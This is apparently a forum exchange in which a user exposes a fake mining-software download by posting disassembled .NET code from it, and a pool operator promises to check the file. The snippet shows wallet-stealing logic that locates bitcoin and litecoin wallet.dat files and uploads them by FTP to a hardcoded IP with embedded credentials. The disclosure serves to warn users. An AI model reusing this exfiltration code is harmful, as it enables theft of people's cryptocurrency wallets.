Fine I'll do all the work for you guys, the linked code in github is obviously not the code the bad link! Here are some code samples from the file :
call string [mscorlib]System.String::Concat(string, string)
call class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.Directory::CreateDirectory(string)
pop
ldstr "
http://ftp://212.48.76.120/"
ldstr "medusaminer"
ldstr "barkleys"
newobj instance void ftp::.ctor(string hostIP, string userName, string password)
stloc.1
newobj instance void [mscorlib]System.Random::.ctor()
stloc.2
ldloc.2
ldc.i4.0
nop
ldloc.0
ldstr "\\bitcoin"
call string [mscorlib]System.String::Concat(string, string)
call bool [mscorlib]System.IO.Directory::Exists(string)
ldc.i4.0
ceq
ldstr "\\bitcoin\\wallet.dat"
call string [mscorlib]System.String::Concat(string, string)
callvirt instance void ftp::upload(string remoteFile, string localFile)
nop
nop
loc_B8C: // CODE XREF: Upload+A6
ldstr "\\litecoin\\wallet.dat"
call string [mscorlib]System.String::Concat(string, string)
call bool [mscorlib]System.IO.File::Exists(string)
ldc.i4.0
ceq
stloc.s 8
ldloc.s 8
brtrue.s loc_C14
nop
screenshot because I know you don't believe me :

Hold on, going to do my due diligence and analyze the .exe -- if what you say is true I will remove the tutorial and any mention of SGMiner from Blackcoinpool.com.